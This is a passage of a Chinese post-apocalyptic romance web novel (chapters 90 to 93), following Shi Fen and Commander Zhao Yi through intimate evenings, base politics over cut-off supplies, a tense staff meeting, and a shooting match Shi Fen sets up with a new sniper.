下巴上的那只手似乎很粗糙,手指上有茧,也有细碎的伤口,跟他脸上一样,时枌抽空猜了一下,应该是在树林被叶子或者是荆棘划伤的,伤口不深,但是短时间会留下小口子,割得不深的话也不会流血,不是很疼。
赵弋缓缓皱起眉,“你……走神了?”
“昂,就走了一下下。”
她不习惯这样被迫仰着头,对颈椎很不好,她拉下他的手,“你不睡觉啊,都十二点了。”
赵弋就很后悔跟她聊这么多。
她真能聊啊。
赵弋单手将她抱上流理台,身体再次压了过去,全靠本能追逐柔软的唇瓣。
鼻尖相撞,时枌一阵鼻酸,眼泪都要被撞出来,然后才反应过来他在干什么。
距离再次被压缩,鼻尖都是桃子的清甜味道,吃过教训后这次他错开鼻尖,轻轻地仰头含了上去,简单的触碰几下,才拉开距离,一手在她脸侧,拇指碾上刚刚吻过的唇。
忽然觉得十分口渴。
时枌脑子嗡嗡的,呼吸紊乱,心跳加速。觉得喉咙有点燥。
“还能……这么亲吗?”
赵弋盯着自己指下的唇,稍稍用力,碾开一个小口,身体靠近又仰头吻了上去。
这一次身体都贴在一起,时枌被他拉起手搭在肩上,舌尖一再被撩拨,无意识的推拒似乎都成了迎合,招来一次次变本加厉,每一次触碰都是轰炸神经一样的酥麻。
她觉得自己像一罐被舔舐的蜂蜜。
空气似乎越来越少,她撑开两人之间,宣告暂停。
“我不是这样亲的。”时枌尽量体面地对他说。
“哦。”他应了一声。
但他还是那种眼神。
饿久了的眼神。
不出意外再次亲了上来,这次赵队明显熟练很多,目标明确挑开齿列,舌尖轻轻触碰上颚,太过刺激的感受,让他差点给她一脚踢到,还好及时压了下去,安抚似的轻碰唇瓣,抽空给了她一个很不讲理的回答。
“那是你的亲法。”
“我有我的亲法。”
第90章 第90章难道你亲我就不疼了吗?……
明明觉得新鲜空气都不太够,她却依旧放纵地低头迎合,甚至会主动将就将唇贴上去,搭在人后颈地手臂不自觉圈紧,他的短发扎在手臂上,痒痒的。
时枌呼吸早就乱了,沉浸其中,在他忽然用犬齿碾过她下唇时才察觉到自己嘴唇有点痛痛的。
她用了点力气将人推开,拧起眉毛质问:“你干嘛咬我?”
“没有啊。”他又试图靠近亲她。
时枌忽然觉得他俩在这时间有点太长了,虽然她没经验,但她的生物钟告诉她她该睡觉了。
于是再次推开。
“你明天不上班吗?”她视线越过他看向墙上的挂钟,“都十二点半了。”
正常情侣能亲半小时吗?这正常吗?时枌不禁开始思考。
赵弋捏着人下巴让她眼睛看到自己,“你又不用上班,睡这么早做什么,再亲一下。”
说完又贴了一下。
可能是在试探她的态度,他并没有跟之前一样深入,只是浅浅亲了一下,眼睛注视着她的反应,发现她没有抗拒后再亲一次。
时枌推着人肩膀,“我都困了。”
赵弋:“……”
他俩玩的这么刺激,她竟然还能困?
她一扭头,他就亲不到了,只能看见人颈侧,大概最近都没怎么暴晒,时枌的皮肤不像他饱经风霜,细腻白皙,尤其是颈侧,往下带着锁骨这一片。
他垂头靠了上去,轻吻。
时枌整个颈侧一下子就麻了。
竟然比亲嘴还刺激。
她能感觉到他的鼻尖,划过颈侧,直到耳后,通红的耳垂触碰到一片柔软。
时枌一下就炸了,一把推向他肩膀。
“嘶——”
赵弋倒吸一口冷气。
时枌:“???”
她也没用多大劲啊。
他叫什么叫?
他像块牛皮糖,在她愣神的时候又抱了过来,结结实实将人搂进怀里,嗓音低沉,“有点疼。”
“你咬我我都没喊疼,你被推一下就疼啦?真是稀奇。”
他像条狗,在她颈间蹭了下,呼吸都扑洒在人脸颊,比夏天大中午的风还燥热。
“我受伤了。”
时枌被吸引了注意,“啊?哪里?我怎么没看出来?”
他就牵着她的手去拉自己衣领,但脑袋都不想抬起来,懒洋洋的继续贴着她。
时枌低头就能看见他被拉扯开的衣领,露出青青紫紫的肩膀,还有包扎的纱布。
竟然真的受伤了。
她这个人特别有同情心,看见伤口就会感同身受般觉得自己肩膀也受了伤。
再这么样也不能虐待伤患吧。
他还是她的人呢。
时枌轻轻用手碰了碰,“谁打的你?”
“今天带回来的那个玩狙击枪的,他非要跟我比试。”赵弋开始打小报告,“还有那个野狼。”
野狼她死的太彻底了,她收拾不了,难道一个新来的她还收拾不了吗?
时枌抱抱他,很有责任感地安抚:“你放心,我会帮你报仇的。”
“嗯。”
“要不要上点药?”时枌又问他。
“不用,”他终于抬起头,“还是亲一下吧。”
时枌:“……难道你亲我就不疼了吗?”
“确实。”他笑,“所以,再亲一下?”
时分无可奈何,搂着人脖子凑过去亲了亲他,本想就这样结束睡觉,结果还是被摁在流理台上舔舐。
她腿都软了。
直到她真的很
不耐烦,赵弋也不想第一天就让她留下这么差的印象,担心以后再亲会有阴影,非常克制地结束,抱她去卧室睡觉。
时枌不用沾床,趴在他肩膀上就睡着了,看来是真的很困,赵弋安排好她,调整好风扇,盖上毯子,自己再去洗手间冲了个冷水澡处理一下,就自动去沙发上睡了。
林子里那种条件都能睡得着,回到家还有张沙发,赵弋没有半点矫情,定了明早九点的闹钟平心静气入睡。
他做了个好梦,导致一早上醒来十分狼狈。
去卧室拿换洗衣服的时候时枌还在睡,因为睡觉不老实,裙摆都跑上去,视线一掠过就很难移开,赵弋过去帮她整理好睡裙,然后心平气和地曲洗手间冲了个澡。
刮胡子,刷牙,换上干净的制服,捋了几下已经很长的头发,他对着镜子研究半天,犹豫着要不要剪头发。
这时,时枌终于醒了,扶着墙慢吞吞挪到洗手间,看见他打了个哈欠跟他打招呼:“早啊。”
她头发乱糟糟披散着,像只炸毛的猫,眼睛都睁不开,摇头晃脑自动钻进他跟洗手池中间去摸自己的牙膏牙刷,非常机械化地挤牙膏,刷牙。
赵弋在一边看着她动作,不自觉嘴角上扬,一早上就笑的很灿烂。
他拿了梳子帮她把头发梳顺,在人低头漱口的时候把着头发,轻巧地用皮筋扎了个低马尾,洗完脸,他就递过来毛巾,熟练的像个同居多年的对象。
时枌擦干脸,终于彻底清醒。
“我头发是不是有点长?”他接过她递过来的毛巾挂好。
时枌就看看他头发,发现他太高,看不太见。
“好像是有点。”时枌说,“你低下头我看看。”
他就低下头。
“好像居民区开了一家理发店,要不去抽空去一下?”她闲逛的时候发现的。
“最近比较忙,阳县堆了很多事。”
“那你再忍忍吧。”时枌也没办法,看他都收拾完了一身制服站在洗手间里一副悠闲模样,又心生疑惑,“你真的很忙吗?那你怎么不去上班?”
“不想去。”
赵弋很直白地说。
时枌:“……”
他倒是很坦诚。
只是在他说完这句话后,他的手表就发出尖锐的来电铃声。
赵弋选择拒接。
“我看见了,是你的副官打来的。”时枌挑眉,“催你上班的哦~办公楼都是九点上班,你都迟到半小时了。”
看她一脸幸灾乐祸,赵弋也笑了起来,伸手将人拉了过来。
洗手间本来就狭窄,轻松就将她抱在怀里。
赵弋下巴压在人肩膀,深深叹了口气。
“今天肯定没空,一会儿我帮你把鸡汤送到食堂,你去吃早饭。”
“中午应该能一起吃个饭,不要出去玩。”
“晚上我还是住这边,你应该不介意吧?”
“最近这段时间都没办法带你去兰城复查,我尽快处理好手上的事,结束了就会带你去。”
“……我记得你以前话没这么多。”时枌啥也没记住。
他低头亲亲她,“算了,我会提醒你的。”
昨天是晚上那么闹也就算了,好歹外边都是安安静静的,她大概也知道这种亲密的事应该是只在那种深夜独处情况下才会做的,忽然光天化日被亲,时枌有些不自然摸摸自己脸颊,发现手指跟脸颊温度差很大。
脸在发烫。
下楼时她要自己慢吞吞拄着拐杖下去,赵弋也由她,在旁边等着一步一步跟着她。
“其他情侣也这样吗?”时枌问他。
楼梯间没人,她也问的很小声。
“怎么样?”赵弋扶她下最后一个台阶,“昨天晚上那样?”
“嗯。”她没谈过恋爱,也不清楚是个什么流程,总感觉奇奇怪怪又顺其自然的,但反正没有不喜欢,偶尔还会很享受那种上头的感觉。
“放心,他们更不要脸的都做过。”
“哦?是吗?”时枌生起好奇心。
“好奇的话,去问叶枝蔚,”赵弋想了想,“也可以问周霓。”
“哦~”
“记得私下问,问女生比较好。”
“哦~”
他把她送到食堂,叮嘱阿姨给她用鸡汤下面条后,还询问阿姨她这些天有没有一天一顿骨头汤。
阿姨犹犹豫豫:“骨头汤啊……”
时枌:“喝了喝了,你不是要上班吗?快去快去!”
赵弋就知道她没有好好喝了。
他没说什么,只是看看她脚上的石膏,挑了下眉毛,才去上班。
时枌撇撇嘴,就当没看见他刚刚的眼神。
阿姨朝她笑:“我嘴严实吧?我可一个字都没说,你天天麻辣牛肉面冰棍的……”
“嘘——”时枌给阿姨使眼色,“从今天开始我还是喝骨头汤,麻辣牛肉面已经过去了,不要再提了。”
她怕赵弋把积分收回去,以后再也不能随便花钱了。
与此同时,刚到办公室的赵队把一堆文件推到一边,用电脑登录账户,查询积分消费明细。
等待间隙,兰城那边电话打了过来。
他用鼠标滑着明细,接了电话。
“赵弋你胆子肥了是吧?你把宋不平送回来是什么意思?!是打算在阳县自立为王啦?还有这他妈都几点了你才接电话!十点了赵弋!你疯了?停工是怎么回事?”
一长串交易明细映入眼帘。
密密麻麻的麻辣牛肉面,一次性买四五根冰棍,最厉害的一天她竟然买了十五根,是自己吃还是送人了?她的胃是铁打的吗?
电话那边的老严还在破口大骂,赵弋看着一下子拉不到底的交易明细,啧了一声,靠到椅背上,深吸一口气。
“你啧什么啧?!你还给老子不耐烦了?赶紧给老子开工!知不知道我们这边工厂等着开工呢!”
赵弋把听筒拿远一些保护耳朵,等他骂完,再拿过来,平静开口。
“积分,营养液,其他物资,什么时候送到阳县,什么时候开工。”
“你疯了?你不给那群人工作,他们聚集在阳县会惹出多大乱子你知道吗?”
“他们需要的是积分,是粮食,是生存,不是一份工作。”赵弋说,“我不想再重复,你跟我吵也没用,打不了,一拍两散,阳县散伙,你们也少个拖累,是不是?”
“……我让你去阳县不是让你跟我们对着干的。”
“是吗?”赵弋冷笑,“我不在,你们就敢卡审核,断资源,什么意思,给我下马威啊?我刚上任不到一个月,严总司令就给我这么大份礼,我消受不起啊。”
老严声音小了一些,“这也不是我的意思,底下人办事效率太慢,我们已经在推进了,再怎么样你也不能把南区那两百号人扣下吧?姚山那小子会对你有意见的。”
“在我的地盘养他的兵,锅我背了,他省了养兵的时间精力,你替我跟他说声谢谢。”
赵弋顺着交易明细拉到底,发现她这段时间花的也不是很多,都是一些零碎,积分余额也只是下降了一位数而已。
“我的任务积分怎么还没到账?”他冷不丁问了一句。
他服侍女朋友没有钱怎么行,如果阳县的生活质量比不上农场,她不就会总想着回去?
老严没想到话题转的这么快,“我怎么知道,什么事都得走流程……”
“呵呵,你们流程挺难走,阳县到兰城最多三小时车程,你们走了十几天都
没到。”
“你要是同意那两千迁移居民……”
“什么老弱病残都往我这送,我这是收容所啊?”
“那事情就很难办……”
这时,有人敲门,赵弋说了声进来。
副官着急忙慌,“赵队!南区那边的人闹起来了!”
赵弋依旧拿着听筒,慢条斯理的模样,眼皮下压,嘴角扯起个没什么感情的笑。
“你让秦丰过去,跟他们说一下,兰城单方面要跟我们切割,现在账上没钱没办法开工,也没有汽油没有车,他们要是忠心耿耿,我允许他们徒步走回兰城,不算逃兵。”
电话那端的老严后背发凉。
副官:“……好的,还有赵指挥,那个,因为矿工失业,几个源城难民领头在基地门口闹事。”
“哦。”赵弋应了声,“啧,这怎么办呢?老严,要不我也跟你们学学,该舍弃的就舍弃,反正这群人留着只会闹事,我又不要什么煤啊铁的,要不……全放生了吧?”
这草台班子支不起来就支不起来吧,大家都散伙,该干啥干啥,当他很想做这个指挥官啊?他去农场当个赘婿不好吗?
“你别冲动……事情还没到这一步……行,一千,一千可以吗?我就迁过去一千……”
“呵呵。”
“积分审批通过了,物资晚上之前到,你先稳住他们,至于迁移的事,我们还可以商量。”
电话挂断,副官还没走,等待他的指示。
“通知一下张克,让他带人过来,闹事矿工全部抓起来审,看看是谁带头挑事,查通讯记录,查积分交易往来,带上枪,如果发生意外,出事的只能是他们,明白吗?”
“明白。”
“对了,这个新开的卖冰棍的店在哪?定位发我一下。”
副官惊讶:“这家卖冰棍的也有问题吗?”
赵弋:“……我只是打算买一批放回家,方便我女朋友吃。”
副官:“……”
90-100
第91章 第91章“熬一熬就过去了。”……
时枌在阳县的一天其实是很充实的。
吃完早饭她就去找周霓,两人收拾好东西去林子里采菌子。
出基地的时候看见另一边对着居民区的大门前挤满了人,时枌不知道发生了什么,好奇地多看了几眼,周霓一早上就听见基地里的八卦,事情经过都了解了个七七八八,就顺路讲给她听。
时枌一听竟然还有人因为停工而抗议闹事,脑子一下子都转不过弯来。
“是停了很久吗?”她问
“也不是,昨天才停工。”
“他们这么爱上班?”她看赵弋一早上恨不得赖在家里不挪窝,以为所有人都一样不爱上班呢,毕竟就她自己来说,能偷懒她当然是更想偷懒。
“……所以这事不正常。”
事情发生一般都会有个缓冲时期,昨天才停工今天就有人闹事,肯定不正常啊。
周霓小声跟她说:“要么背后有人指使,要么就是他们脑子坏了。”
时枌赞同点点头。
反正这事跟她没关系。
这片林子时枌跟老中医来了很多次,基本把这附近摸清楚了,她们这次出来还带着枪以防万一,几个采菌子的点时枌也记得住,到地方就开始忙活起来。
这个季节菌子特别多,她跟周霓都是有经验的,能分辨哪些能吃哪些不能吃,一时间两人都没闲聊,专注采菌子,一直忙活到中午,肚子饿了才返回。
她们回去的时候正好碰上张克带人把堵在基地门口那些闹事的都抓了起来,张克身边的人还带着枪,他拿着大喇叭喊“禁止反抗,小心枪毙。”
嗯,蛮直接的。
不少见状不对的闹事者灰溜溜的跑了,张克抓了一部分,带回去审问,一边低声咒骂平白无故加班,正好看见时枌跟周霓背着好几袋菌子回来,——菌子多到都漫出来了。
他一瘸一拐走上前,看向时枌:“……能不能卖我点?”
时枌知道他是要给宋阡,非常大方分了他一碗,“回去找食堂用辣椒炒一炒就行,这个菌子绝对无毒,不会有事的。”
她分给他的都是相对常见的,稍稍有点毒的那些时枌都留给自己吃,怕他们这种不常吃的人吃出什么毛病来。
拿到菌子的张克心情一下就好了很多,去办事也更心甘情愿了。
午饭时枌带着周霓去食堂吃,菌子交给秦丰跟叶枝蔚清洗,到时候他们四个再分一分,这已经成了他们之间的正常分“赃”流程。
因为一些菌子清洗特别复杂,松针泥沙什么的,还要用小刀刮干净,所以清洗这一步不比采菌子简单,到时候处理完他们四个就一起分一分,自己想怎么处理就怎么处理。
多的菌子时枌都会带回赵弋家放在阳台晾晒,准备存起来到时候冬天吃。
两人点了两个小菜,两碗米饭,坐下刚开始吃赵弋就来了,周霓跟时枌亲热的并肩坐着,赵弋就坐到了时枌对面。
看见周霓,赵弋忽然记起来。
骨头跟张照照被派去给张克打下手,秦丰主要负责基地内新人训练,今天被他发配去矿山搞定南区那群人了,叶枝蔚负责巡查人员的安排,周霓,倒是被他忽略,没安排什么事干。
时枌看他坐下来不吃饭,“给你加个菜?”
“不用,喝过营养液了。”
“哦。”那她就不管他了。
赵弋往这一坐,周霓就挺直了腰板,规规矩矩吃饭。
过了会儿,赵弋才开口:“矿山停工,那些矿工需要安排新的工作,办公楼人员不足忙不过来,你要不要去做个兼职?”
“收集他们信息,根据他们之前的经历安排不同的工作。”
“办得好,等过两年你也可以跟张克一样坐办公室。”
周霓:“不用断腿也能转岗啊?”
“嗯。”
“干啊,怎么不干!赵队你放心,我一定把事情办好!”
赵弋又看向时枌,“虽然你脚受伤了,但你会写字吧?学着用一下键盘,协助周霓把信息录入系统,可以吗?”
周霓:这双标的语气是怎么回事。
“我会用键盘,财务科的于姐教过我了。”时枌还有点小骄傲。
“行。”赵弋,“吃完饭就上班吧。”
等赵弋走了,周霓偷偷跟时枌吐槽:“真不是人啊连受伤的女朋友都安排工作。”
时枌小鸡啄米式点头。
两人也不能闲逛了,去办公楼,一进去就发现办公楼忙的热火朝天,那叫一个热闹。
其实整个基地的文职人员并不算多,她们堂堂一个财务科都只有两个人,张克负责的注册登记也只有他跟一个科员,人数最多的是任务交接处,他们这边不仅负责任务发布以及审核,还负责审批探险小队的装备物资申请以及仓库也归他们管,所以他们甚至还负责发放工作,至于另外一个比较重要的管基础建设的部门人数相对较少。
因为阳县居住条件非常不错,房屋不需要重建,只需要简单收拾就能住,基础建设这个部门一开始也就是组织基地内的士兵帮忙打扫房屋,其他的也没什么了。
不过现在却热闹起来。
因为矿山停工,一早刚发了工资,要给这些矿工安排其他的活,其他什么活呢?只能是阳县内基础建设的工作了。
至于是啥具体的,得等之后领导们开会安排,他们现在要做的就是登记信息。
时枌跟周霓加入后,就跟着基建部门搬了两套桌椅到了基地门口,他们旁边站着两个荷枪实弹的士兵以防闹事,时枌跟周霓就负责询问、填表。
时枌从来没做过这种工作,一开始还是很积极的,直到周围叽叽喳喳的方言跟议论声把她吞没,她再看看后边乌泱乌泱的人,那点子积极很快就撑不住,她就只会麻木的问年龄,特长,稍年长的还会问一问学历。
“这么多矿工啊……”时枌耷拉着眼皮飞速写字。
她好久没写过这么多字了。
手都快写麻了。
后来又调来两个人,才把所有人都登记好,时枌收到赵弋的消息,问她要不要来办公室休息,他办公室有床。
时枌立马就答应了,懒得吃晚饭,叼了根同事发放的营养液就上楼去,爬楼梯到了三楼,腿都差点给她蹦断,终于找到赵弋说的那间办公室。
敲了敲门,里面传来赵弋的声音,她就拧开门进去了。
赵弋正坐在办公桌边看文件,原本一脸生无可恋,见到她稍稍有了点精神,招呼她过来。
时枌慢悠悠挪过去,刚靠近,就被拉到他跟前,被抱了个结实。
肚子上方埋入一个毛茸茸的脑袋。
没等时枌问,他就开口解释:“抱一下,今天太累了。”
刚刚上完班的时枌很能感同身受,伸手摸摸他脑袋,“熬一熬就过去了。”
“……”
听着就很恐怖的安慰。
就这么抱了会儿,赵弋才抬起头,给她拉了把椅子在旁边坐下,知道她平时喜欢在财务科玩电脑,赵弋就把一台电脑给她玩,给她找了个单机游戏,——魂斗罗。
时枌一下子就不累了。
她这边枪林弹雨红蓝对抗,他就在旁边接电话打电话安排事情,没一会儿,副官又来了。
“南区那边已经安抚好了,张科长还在审,暂时只查到这些。”副官递过去一份审讯
文件,“这几人被其他几个爆出跟阳县外围的人有关联,在矿山上偶尔会三两外出,具体情况还在查。”
“这五个,是兰城本地人,手表中通讯记录发现跟兰城某高官有来往……”
竖起耳朵的时枌抬头:“哪个高官啊?是在外边养小三被暴打的,还是城主府里的那些?”
副官:“……”
赵弋:“你知道的还挺多。”
他翻了下资料,“是兰城南区司令姚山老婆的亲弟弟。”
“哇哦~”又吃到瓜了。
赵弋合上文件,“消息都散下去了吗?”
“秦副队负责,都散下去了,现在矿山、南区部队、发电厂……连食堂都知道了。”
“哦,挺好,”赵弋沉思半晌,“今晚八点,通知几个矿工代表,南区部队主要负责人,发电厂的,基地内部的,尽量都通知到位,来大会议室开会。”
副官震惊得半天都没回应。
赵弋上任这么久从来没主动开过会,每次开会都是他催着赵弋上线,阳县内的会议更是能不开就不开。
“是!”副官立马就去通知了。
时枌继续打游戏。
赵弋拖着椅子过来,胳膊都跟她挨着,脑袋凑过来看她的屏幕。
时枌嫌弃他离得太近影响自己发挥。
赵弋干脆再靠近了一下,“阳县这边可能会出事,如果我这个总指挥当不下去……”
时枌头都没抬,“当不下去就当不下去呗,反正你是要跟我回农场的,马上九月份就要忙起来了,我要提醒你,有什么事要提前办好哦,不然到时候影响秋收,哼哼。”
赵弋放心了,“你不喜欢这里么?有水有电,人也多。”
时枌认真想了想,“阳县是很好,可能比兰城还要好,但是在我心里阳县永远比不过农场。农场是我的,阳县不是我的。”
赵弋能理解。
他是对什么地方都没有太多留恋的人,他生在兰城长在兰城,但是他也可以在短时间很快决定彻底迁移离开,现在到了阳县,他也并没有太多归属感,阳县是好是坏,他其实是无所谓的,只是坐上了这个位置,被责任感驱使着把事情办好。
两人以前没聊过这种话题,结合最近阳县发生的事,时枌想到什么,扭头看着他:“你不会是想撂挑子不干了吧?”
第92章 第92章“我给你偷过来。”……
这次赵弋直接把脑袋靠在她肩膀上,然后装出一副疲惫至极的模样深深叹了口气,又跟不愿面对现实似的把脸压在人颈窝,一言不发。
不知道是默认还是在占便宜。
时枌对他这种没骨头的状态都快习惯了。
继续打着游戏,脑袋往他的方向歪了一下,尽量找话安慰:“难道你开会比跟我去收麦子还累吗?”
“还累。”
时枌狠狠沉默了。
在她印象中,每年的夏收小麦是毫无意外最累人的农活。
只有过段时间的收玉米能比肩。
收小麦在最热的天气,而且还是连续大晴天,不能挑下雨的日子,爷爷教过她一首诗,足蒸暑土气,背灼炎天光。她一开始不太懂,后来下地就明白了。她年年都收,每年都得中暑一回,只是今年多了罗辉一家还有赵弋帮忙她才觉得轻松许多。
至于收玉米,天气是没那么热了,但穿梭在玉米地中掰玉米棒子,尖锐的玉米叶片轻松就能将皮肤划开一个口子,必须要裹得严严实实才行,而且玉米也很重,搬运更费劲。
今年收玉米赵弋也能帮忙,如果基地里其他人有空的话也能叫上一起,这样她就能更轻松了,再说如果阳县稳定下来……
时枌开着小差,手速就慢了很多,不自觉跟赵弋聊天:“如果阳县稳定下来,有你跟秦丰他们帮忙,我就多种几亩玉米小麦,水稻也多种一些,到时候就能多养一些鸡鸭鹅,以后给他们也送一些……”
“种,你们那里只有我们跟罗辉两户人家,他们家不种地,大胆一点,山脚下那片地都是你的。”赵弋说。
时枌脸一红,“这样不好吧,我一个人吃那么多地怎么种的过来……”
“兰城有专业的农耕机器,还有收割机器,到时候我帮你偷过来,藏好。”他说偷这个字的时候故意很小声还带着点笑意,凑在她耳边轻轻地说,说着赵弋自己也笑了,“源城那边资源更多,听说他们那边多平地,末世前已经实现了机械化农场,应该留下了很多机器,等以后……”
“你真敢想啊,还有石油是吧?”时枌一下子就跟他想到一起了。
“你不喜欢?”
石油啊,谁不喜欢啊。
时枌认真点点头,“叫上我哦,我也要一起去,我还没看过油田。”
“好。”
看看时间已经到会议时间了,副官发消息过来说他们都到齐在会议室等着。
时枌也看见了消息,但赵弋却只是拖着椅子往她身上又靠近一些,还故意嘶一声,说肩膀痛。
“……你不是去过医务室了?”他身上还有纱布呢。
“没有去,医生上来的。”他说,“没时间下去,就处理了伤口,被揍出来的瘀伤都没管,他们说死不了。”
“……”好无情的医生啊。
“那我去医务室拿点药酒,老中医那里偷偷藏的,我看见过。”时枌也扭头在他耳边低声说话,“我给你偷过来。
两人都笑了。
又磨蹭了半小时,时枌看他还不动弹,终于忍不住问他准备什么时间上去。
赵弋才抬起头,扯了扯被压皱的衬衣袖子,“差不多了。”
故意拖半小时,估计会议室那群人已经等的不耐烦了。
“在这等我,估计到晚饭时间就开完了,到时候一起去吃宵夜。”他都到门口了,又扭头过来叮嘱。
时枌重开了一把游戏,伸手比了个OK的手势。
赵弋这才离开。
大会议室在下一层,他走楼梯下去,路上碰到忙碌的同事就点头打招呼,今晚集体加班,赵弋明显感觉整个办公楼怨气冲天。
慢悠悠挪到大会议室,副官早在门口等着,看他过来松了口气,主动上前拉开门。
一拉开就能听见里面叽叽喳喳的议论声,大多都是在抱怨,有几个嗓门特别大的听得很清楚,只是赵弋前脚刚进去,这群人就跟被掐住脖子脖子的大鹅似的不叫唤了。
他一头略长的短发乱糟糟,规整的制服看似穿得齐全,实际上白衬衣衣领开了两颗扣子,散漫地歪斜着,袖子也不太整齐地卷到手肘,偏偏他身高腿长是个衣架子,这套衣服愣是给他穿出了斯文的感觉。进屋时那双淡漠的眼睛轻扫过众人,大家默默挪开视线不再打量,顿时整个会议室安静得跟坟地似的。
赵弋在兰城时比较低调,大家对他的认知还停留在“兰城最年轻最有能力的高级指挥官”,对他这个人的脾性并不算多了解,因为他常年外出做任务,除了自己小队成员,跟其他人来往甚少。
但他们都知道,赵千嶂很宠这个儿子。
大部分人也都是因为赵千嶂才对赵弋高看一眼。
现场坐着的这些人,几乎每一个年纪都比赵弋大,如果不是赵将军,他们根本不会把赵弋放在眼里。
现在的阳县四分五裂,赵弋坐镇基地,他的人手也在基地,渐渐也笼络了人心,可
是基地之外的居民区、矿山、发电厂,这些的负责人都是兰城那边单独任命的,之前跟赵弋也就是个他们要干啥发个文件过来给他审批的关系,有的甚至面都没见过。
几乎占据了一大半会议室的会议桌上头空着一个位置,赵弋拉开椅子坐下,抬头看了看自己两边。
这群政客最懂阶级划分,这些座位都是有讲究的,离高处最近的都是一些重要负责人,他们在选座位的时候就已经把自己的阶级划分好了。
“大家应该都清楚现在阳县的情况。”赵弋终于开口,他靠在椅子上,眼观鼻鼻观心,“我不清楚你们怎么看兰城突然单方面断资源这件事,我只知道,如果没有资源,阳县这将近三千人,闹起来不会比源城小。”
他语气轻飘飘的,“我出门时,碰到一伙儿人,三两件武器,就要抢劫基地仓库,你们要不猜猜我在他们身上发现了什么?”
大家默不作声。
“营养液。”赵弋笑了,“阳县内部都短缺的营养液,为什么会出现在他们身上?他们就那么点武器,怎么敢埋伏在基地周围?你们要不动脑子想一想是为什么,他们想干什么,而你们,又想干什么。”
终于,赵弋右手边一位身形微胖的中年男人开了口,“大可不必把我们一杆子打死,我是过来支援的,只负责发电厂的工作,我哪有什么时间跟外边的人勾连!”
“谁知道呢,知人知面不知心哪,”赵弋还是那副淡漠嘴脸,“在我眼里,你们跟那群源城难民并没有什么区别,我想要稳定,你们只想要动乱。”
“赵指挥这话说的就过分了,我们这群人被调来阳县支援,难道不是在为建设阳县努力吗?一下子把我们都打成叛贼,这是什么意思?”
“是啊是啊,那只是个别人的心思,我们老老实实工作,可不会干那种事!”
“赵指挥要明察啊,我们整天待在矿山,灰头土脸的,哪有时间给别人送什么营养液……”
会议室叽叽喳喳叫嚷起来。
赵弋一直听着,时不时翻看手里的资料,把说话人的身份职位以及曾经在兰城的职位对上号。
他这么安静,底下人摸不清他的想法,一开始反应激烈的那几个又开始说好话挽回,到最后,竟然都安静下来了。
赵弋挑眉,也没做声,拿起自己手上的文件,开口:“谁跟兰城那边有牵连,谁跟外边的人有牵连,我都查清楚了。”
底下人所有眼睛都盯着他手里那份文件,倒吸一口冷气。
明晃晃的心虚。
“这一次,就算了,既往不咎。”赵弋放下文件,“兰城那边我和沟通好了,昨晚就把资源送了过来,此前有什么,我不会再提。如若再犯,那就一起清算。”
“容我再提醒大家一句。”
“别满口借调啊支援啊,看看你们当初办的手续,有这几个字吗?难道不是统一的迁移?陈叔叔也是拖家带口过来的,欧阳叔也是,兰城那边给你们的保证,就一定能做到吗?他们这次只断了我的资源,没断你们的?他们没考虑到你们也长了嘴,也要吃饭?”
“言尽于此,大家回去好好想想,明天这个点我们再商量,阳县这个摊子,到底该怎么支棱起来。”
“散会。”
赵弋起身,准备离开。
南区负责人,一个高高瘦瘦的中年男人站了起来,赶紧过来问他:“那矿山还不开工吗?”
“什么时候确定好之后的规划,什么时间开工。”赵弋语气稍显温和,“大家都累了这么多天,休息几天不犯法,正好物资到了,阳县风景秀美,多出去走走看看,放松心情。”
“可兰城……”
赵弋扭头就走。
南区负责人一下子就追了上来,“好好好,我通知他们停工……哦不休息!大家正好休息几天!”
这个会开完,赵弋第二天一早还有个跟基地内各个部门之间的会议,这场就相对简单,主要讨论的是招聘以及部门扩张重组,之前就已经让人做好方案。
只是在会议讨论的时候,新增的农业部负责人,一个快七十的老头子,此前种了几十年的地,后来又在兰城农业基地干过,因为年纪太大了才被“发配”来阳县,他还没子女。
老头提出要招时枌来农业部帮忙。
“这小姑娘有自己的农场,还带着那些兵开了地,我看她干农活也利索,来我的部门正合适。”
财务科,哦不,财务部的于霖坐不住了,“什么意思?我财务部培养的人送到你们那去?知不知道时枌天天来我们这干活啊,我们财务的工作她早就熟悉了,电脑也会用,跟你去种地?笑话!”
老头子站起来,“人家就乐意种地!不信你去问问!我都跟老张商量好了,这小姑娘就喜欢种地!”
老中医姓张,他俩年纪相仿,还算熟悉。
“放屁!我们财务部总共就两个人,还好意思升个部!我不管,时枌是我的人,别的我都可以退让,时枌不行!”于霖叉着腰也站了起来。
老头子:“我……”
赵弋看着两人一左一右对骂,终于忍不住敲了敲桌子。
他俩立马就消停了。
“你们就没想过,”赵弋冷笑,“她是我的人?”
于霖:“……”
老头:“……”
哦,他们都忘了,时枌是赵弋队里的,还是个狙击手。
而在办公室直打喷嚏的时枌终于坐不住了,下楼透透气,碰到了在操场跟人闲聊的周霓。
周霓叫住她,“喏,看看,他们在打靶呢。”
时枌顺着看过去。
那一片都是靶场,管理比较严格,一个寸头黑皮的年轻男人拿着一把狙击枪正在跟人说话,时枌觉得这人看着面生,就问了句他谁。
“出任务碰到的,这小子是家里老幺,枪法不错,直接被我们招进来了,正训练呢。”
时枌捕捉到关键词,狙击枪。
“他跟赵弋动手了?”时枌问道。
周霓想了想,“算是吧。”
比试也算动手吧,反正这小子被揍得挺惨。
时枌当即单腿站了起来,去仓库领了自己的枪,就往靶场走,周霓连忙跟上去。
第93章 第93章“还得是枌枌!”……
基地的训练场除了外面的操场跑道之外,最大的就是这个摆满了的靶场,这里也是一样要申请拿子弹才能开枪。
时枌是熟人了,她跟基地大部分人都很熟悉,再加上脚上石膏标志明显,大家一下就认出她来,抬手跟她打招呼。
时枌点头回应,目标明确拄着拐蹦到了那个拿着狙击枪的年轻男人跟前。
“我们比比。”她说。
看她肩膀上挂着一把狙击枪,陈老七当然不会拒绝。
“行啊,输了可别哭。”陈老七笑道。
他身边几个也跟着笑。
基地里的士兵虽然认识时枌,但也只是知道她是赵弋队里的人,从未见过她开枪,甚至看时枌的身形也不像是个会打架会开枪的人。
她只是个会干点农活的小姑娘而已,这是大部分人的想法。
周霓已经跟了过来,听她要跟人家比试也没阻拦,只问要怎么比。
陈老七:“你是女的,你提呗。”
“行。”时枌大大方方,并没有因为他这句话中的瞧不起而生气,反而仔细想了起来。
“先比那个靶子,”时枌指着最远、贴着悬崖设置的靶子,“之后再说。”
陈老七有点不明白她后边那句再说是什么意思。
但他很快就明白了。
以狙击枪来说,那个靶子目标并不算远,陈老七先开枪,准确命中人头,他也并没有多开心,因为他也知道这点距离没啥参考性。
